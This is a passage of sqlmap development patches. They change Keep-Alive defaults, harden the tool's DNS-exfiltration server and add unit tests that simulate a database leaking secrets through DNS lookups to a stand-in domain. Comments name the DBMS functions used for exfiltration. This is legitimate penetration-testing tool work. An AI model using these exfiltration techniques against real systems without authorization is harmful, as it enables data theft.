03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ab38bb42e8e2a7eda7380574f5083e0a65daa154fb345ef3385dbb2c128ed9df lib/core/settings.py +f47aed1aa1a986dc2d3789358a34f79aa1111e7ab8747c4fba4dfe3443f778a0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -2eb9e51bf6ecdc0f4aab4e0b4e2ba14bc5edaa04dbc6b9588e4ece6fc8483f3d lib/core/testing.py +d213562601682fd72603a22f35e5af4e3f41e23bfb143e1584a4fa212a232635 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -18845fd56a87e02cdd847526185e500b6cb1f26a272c368b862217466b98db16 lib/parse/cmdline.py +d0aa9559d1aa94f5c1a647997e9298eb03403a5800ffb739bb3ceba8b5a37da9 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -218,7 +218,7 @@ cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -ab3afa064a84029ef55804bfcc02e49c7f8f47aad51448b5b3adfda1dd59073e lib/request/keepalive.py +d55b67943d925e40f019920ac7805655217c1e8f893d71d855dce724225c8fb8 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py diff --git a/lib/core/common.py b/lib/core/common.py index 3e1176bf9..981ab3f66 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3614,7 +3614,7 @@ def setOptimize(): """ # conf.predictOutput = True - conf.keepAlive = True + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) diff --git a/lib/core/option.py b/lib/core/option.py index 571bae50d..f1a688293 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1241,23 +1241,22 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " + # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out, + # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods, + # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler) + conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warning(warnMsg) - elif conf.authType: - warnMsg += "with authentication methods" - logger.warning(warnMsg) - else: - # Note: persistent connections for both HTTP and HTTPS; the keep-alive - # HTTPS handler supersedes the regular one (reusing its SSL connection) - if httpsHandler in handlers: - handlers.remove(httpsHandler) - handlers.append(keepAliveHandler) - handlers.append(keepAliveHandlerHTTPS) + if conf.keepAlive: + # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS + # handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) + handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) + elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked): + reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding") + debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason + logger.debug(debugMsg) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 9270511c0..98e33e047 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -79,6 +79,7 @@ optDict = { "optimize": "boolean", "predictOutput": "boolean", "keepAlive": "boolean", + "noKeepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 06a808e62..604303249 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.133" +VERSION = "1.10.6.134" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index a640c9779..0969c0eab 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -64,7 +64,7 @@ def vulnTest(): ("-u -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), - ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), + ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e369f19c9..84d543014 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -315,8 +315,9 @@ def cmdLineParser(argv=None): optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") - optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + # Note: persistent (Keep-Alive) connections are used by default; this opts out + optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", + help="Disable persistent HTTP(s) connections (Keep-Alive)") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index 4e300cf2e..cee9ed344 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -144,6 +144,12 @@ class _KeepAliveHandler(object): if not hasattr(response, "getcode"): response.getcode = lambda response=response: response.status + # Note: Python 2's httplib.HTTPResponse lacks readline()/readlines(), which urllib2's + # error wrapping (addinfourl, for any non-2xx response) requires; provide them over read() + if not hasattr(response, "readline"): + response.readline = _makeReadline(response) + response.readlines = _makeReadlines(response) + # Note: must come last as on Python 3 'msg' initially aliases the headers response.msg = response.reason @@ -264,3 +270,38 @@ def _sendRequest(conn, req): if data is not None: conn.send(data) + +def _makeReadline(response): + """ + A buffered readline() over response.read() (Python 2 httplib.HTTPResponse lacks one) + """ + + buffer = {"data": b""} + + def readline(*args, **kwargs): + while b"\n" not in buffer["data"]: + chunk = response.read(8192) + if not chunk: + break + buffer["data"] += chunk + data = buffer["data"] + index = data.find(b"\n") + if index == -1: + buffer["data"] = b"" + return data + buffer["data"] = data[index + 1:] + return data[:index + 1] + + return readline + +def _makeReadlines(response): + def readlines(*args, **kwargs): + result = [] + while True: + line = response.readline() + if not line: + break + result.append(line) + return result + + return readlines From e82b1b56f7c4721d1201761ffc2dc2da69ca0a05 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 22:36:48 +0200 Subject: [PATCH 040/165] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 7 ++++++- lib/request/dns.py | 34 ++++++++++++++++++++++++++++------ lib/techniques/dns/use.py | 5 ++++- 4 files changed, 41 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1059767f5..598648de0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f47aed1aa1a986dc2d3789358a34f79aa1111e7ab8747c4fba4dfe3443f778a0 lib/core/settings.py +65603f9bbf42cd67a1cf9b3f6277b3af3fdf6b3678fcaa2fe21fe09961f9316c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py +05198477dbdeb6c405059eb21cbbcf9cb6804cc54a0f2a1d11741bfc6cbb7ca2 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -236,7 +236,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py -2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py +74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 604303249..e48738fb1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.134" +VERSION = "1.10.6.135" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -809,6 +809,11 @@ MAX_STABILITY_DELAY = 0.5 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 +# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so +# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the +# value is popped right after it is triggered, so only recent entries ever matter) +MAX_DNS_REQUESTS = 1000 + # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) diff --git a/lib/request/dns.py b/lib/request/dns.py index 1be548882..ffd389a4d 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission from __future__ import print_function import binascii +import collections import os import re import socket @@ -15,6 +16,11 @@ import struct import threading import time +try: + from lib.core.settings import MAX_DNS_REQUESTS +except ImportError: + MAX_DNS_REQUESTS = 1000 # fallback so this module stays runnable standalone + class DNSQuery(object): """ >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." @@ -74,7 +80,7 @@ class DNSServer(object): def __init__(self): self._check_localhost() - self._requests = [] + self._requests = collections.deque(maxlen=MAX_DNS_REQUESTS) self._lock = threading.Lock() try: @@ -140,12 +146,28 @@ class DNSServer(object): self._initialized = True while True: - data, addr = self._socket.recvfrom(1024) - _ = DNSQuery(data) - self._socket.sendto(_.response("127.0.0.1"), addr) + try: + data, addr = self._socket.recvfrom(1024) + except KeyboardInterrupt: + raise + except Exception: + break # socket closed/broken - stop serving (e.g. program exit) - with self._lock: - self._requests.append(_._query) + # Note: a single malformed packet or a transient send error must NOT kill the + # server thread (otherwise all subsequent DNS exfiltration is silently lost). + # The query is recorded BEFORE responding, so the exfiltrated data is captured + # even if crafting/sending the (fake) resolution response fails. + try: + _ = DNSQuery(data) + + with self._lock: + self._requests.append(_._query) + + self._socket.sendto(_.response("127.0.0.1"), addr) + except KeyboardInterrupt: + raise + except Exception: + pass except KeyboardInterrupt: raise diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 78854c012..1f0d21f31 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -84,7 +84,10 @@ def dnsUse(payload, expression): _ = conf.dnsServer.pop(prefix, suffix) if _: - _ = extractRegexResult(r"%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) + # Note: non-greedy so a '--dns-domain' label that happens to match the random + # suffix can't make the match run past the real boundary (the boundary alphabet + # excludes hex characters, so it can never under-match into the hex payload) + _ = extractRegexResult(r"%s\.(?P.+?)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) From 7e652ed15d39f37008be03030cc113d59eec3e8e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 22:38:22 +0200 Subject: [PATCH 041/165] Adding some more pyunittests --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- tests/test_dns_engine.py | 272 ++++++++++++++++++++++++++++++++++++ tests/test_dns_server.py | 291 +++++++++++++++++++++++++++++++++++++++ 4 files changed, 567 insertions(+), 2 deletions(-) create mode 100644 tests/test_dns_engine.py create mode 100644 tests/test_dns_server.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 598648de0..6701d079c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -65603f9bbf42cd67a1cf9b3f6277b3af3fdf6b3678fcaa2fe21fe09961f9316c lib/core/settings.py +de4f4a95b30c703518a68d96a904bcf908033be8a0d9a03000a2da163f139303 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -587,6 +587,8 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py +a38f3257aa218fa706ddb903c181715b2286619c46aea0097b7d365d18c410c5 tests/test_dns_engine.py +703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e48738fb1..2ef55ebfa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.135" +VERSION = "1.10.6.136" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py new file mode 100644 index 000000000..efb2ac881 --- /dev/null +++ b/tests/test_dns_engine.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS-exfiltration extraction engine (lib/techniques/dns/use.py dnsUse) and the +channel-detection probe (lib/techniques/dns/test.py dnsTest). + +DNS exfil is normally driven by a back-end DBMS that performs an actual DNS lookup +of an attacker-controlled hostname (Oracle UTL_INADDR, MSSQL xp_dirtree, ...), +encoding the queried data in the subdomain labels which then reach sqlmap's +in-process DNS server. That DBMS behaviour cannot be reproduced locally without a +real DNS-emitting engine, so here we drive the REAL dnsUse()/dnsTest() logic + the +REAL DNSServer (on a high port, no root) and emulate ONLY that one step: a mock +Request.queryPage plays the DBMS - it takes the per-iteration boundaries dnsUse +generated and fires a genuine UDP DNS query for +'prefix..suffix.domain' at the DNS server. + +So the chunking/offset/reassembly loop, the dns_request snippet rendering, the +DNSServer packet parse, pop(prefix,suffix), regex extraction, hex decoding and the +detection-then-disable logic are all exercised for real; if any of them regress +these go red - without a live DBMS. + +NOTE on fidelity: secrets are kept ASCII so the mock's byte-slice chunking matches a +DBMS character-substring exactly. Multi-byte (UTF-8) values, where DBMS SUBSTRING is +character-based and a chunk could split a code point, need the real-DBMS run. +""" + +import binascii +import os +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.settings import DNS_BOUNDARIES_ALPHABET +from lib.core.settings import MAX_DNS_LABEL +from lib.request.connect import Connect +from lib.request.dns import DNSServer +import lib.techniques.dns.use as dnsmod +import lib.techniques.dns.test as dnstestmod + +DNS_PORT = 5355 + +def _build_query(name, tid=b"\x12\x34"): + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + b"\x00\x01" + b"\x00\x01" + +class _HighPortDNSServer(DNSServer): + # same logic as the real server (parse/pop/run), just bound high so no root is needed + def __init__(self, port): + self._requests = [] + self._lock = threading.Lock() + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._socket.bind(("127.0.0.1", port)) + self._running = False + self._initialized = False + +_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} +_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} + + +class _DnsCase(unittest.TestCase): + DBMS_NAME = "MySQL" + + @classmethod + def setUpClass(cls): + cls.server = _HighPortDNSServer(DNS_PORT) + cls.server.run() + while not cls.server._initialized: + time.sleep(0.02) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_randomStr = dnsmod.randomStr + self._saved_randomInt = dnstestmod.randomInt + self._saved_dnsServer = conf.get("dnsServer") + self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.dnsServer = self.server + # isolate from the session hash DB (avoid cross-test value caching / uninitialized store) + dnsmod.hashDBRetrieve = lambda *a, **k: None + dnsmod.hashDBWrite = lambda *a, **k: None + # MSSQL/PostgreSQL build the payload via the stacked-query injection plumbing + # (agent.prefixQuery/agent.payload, needing a full kb.injection). That plumbing is + # generic - not DNS logic - and the mock oracle ignores the payload, so stub it to a + # pass-through; the DNS-specific snippet/substring/chunking still runs for real. + self._saved_prefixQuery, self._saved_payload = agent.prefixQuery, agent.payload + agent.prefixQuery = lambda expression, *a, **k: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue or "" + set_dbms(self.DBMS_NAME) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + conf.dnsServer = self._saved_dnsServer + Connect.queryPage = self._saved_qp + dnsmod.Request.queryPage = self._saved_qp + dnsmod.randomStr = self._saved_randomStr + dnstestmod.randomInt = self._saved_randomInt + dnsmod.hashDBRetrieve, dnsmod.hashDBWrite = self._saved_hdbR, self._saved_hdbW + agent.prefixQuery, agent.payload = self._saved_prefixQuery, self._saved_payload + + def _install_oracle(self, secret, working=True, force=None): + """ + Installs a mock queryPage that plays the DBMS: for each dnsUse iteration it fires a + real UDP DNS query carrying the next hex chunk of L{secret}. working=False models a + dead DNS channel (the DBMS never emits a lookup). force=(prefix, suffix) pins the + random boundary labels (to construct adversarial cases like a domain/suffix collision). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = force[len(boundaries) % 2] if force else real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + dbms = Backend.getIdentifiedDbms() + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + + def oracle(payload=None, *args, **kwargs): + if not working: + return None + prefix, suffix = boundaries[-2], boundaries[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", DNS_PORT)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(100): + with self.server._lock: + if any(host.encode() in r for r in self.server._requests): + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + def _extract(self, secret): + self._install_oracle(secret) + return dnsmod.dnsUse("%s AND %d=%d", "user()") + + +class TestDnsExfilEngine(_DnsCase): + DBMS_NAME = "MySQL" + + def test_short_value(self): + self.assertEqual(self._extract("luther"), "luther") + + def test_value_spanning_multiple_dns_labels(self): + # > one DNS label -> forces the chunking/offset/reassembly loop (multiple queries) + secret = "The quick brown fox jumps over the lazy dog 0123456789 abcdef" + self.assertEqual(self._extract(secret), secret) + + def test_exact_chunk_boundary(self): + # length exactly one chunk: last-chunk break condition (len < chunk_length) edge + dbms = Backend.getIdentifiedDbms() + cl = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + secret = "A" * cl + self.assertEqual(self._extract(secret), secret) + + def test_special_characters(self): + secret = "p@ss W0rd!#%&" + self.assertEqual(self._extract(secret), secret) + + def test_domain_label_colliding_with_suffix(self): + # adversarial: --dns-domain's leading label equals the random suffix. A greedy + # extraction regex would run past the real boundary into the domain and corrupt the + # value; the (lazy) extraction must still recover it exactly. + conf.dnsDomain = "hhh.exfil.test" # leading label 'hhh' == forced suffix + self._install_oracle("luther", force=("ggg", "hhh")) + self.assertEqual(dnsmod.dnsUse("%s AND %d=%d", "user()"), "luther") + + +class TestDnsExfilEngineOracle(TestDnsExfilEngine): + # Oracle: different dns_request snippet (UTL_INADDR.GET_HOST_ADDRESS, '||' concat) and + # SUBSTRC substring template - re-runs the whole battery through the Oracle dialect. + DBMS_NAME = "Oracle" + + +class TestDnsExfilEnginePostgres(TestDnsExfilEngine): + # PostgreSQL: stacked-query branch (agent.payload), plpgsql COPY dns_request snippet, + # 'SUBSTRING((...)::text FROM x FOR y)' substring template. + DBMS_NAME = "PostgreSQL" + + +class TestDnsExfilEngineMssql(TestDnsExfilEngine): + # MSSQL: stacked-query branch, xp_dirtree dns_request snippet, and crucially a SMALLER + # chunk_length (MAX_DNS_LABEL//4 - 2) - exercises the alternate chunking arithmetic. + DBMS_NAME = "Microsoft SQL Server" + + +class TestDnsLabelInvariant(unittest.TestCase): + """The exfil chunk is hex-encoded into ONE DNS label, so 2*chunk_length must never exceed the + 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label and exfil + silently breaks. Guards the chunk_length arithmetic in dnsUse for every supported DBMS.""" + def test_hex_label_within_max_dns_label(self): + for dbms in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL): + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else 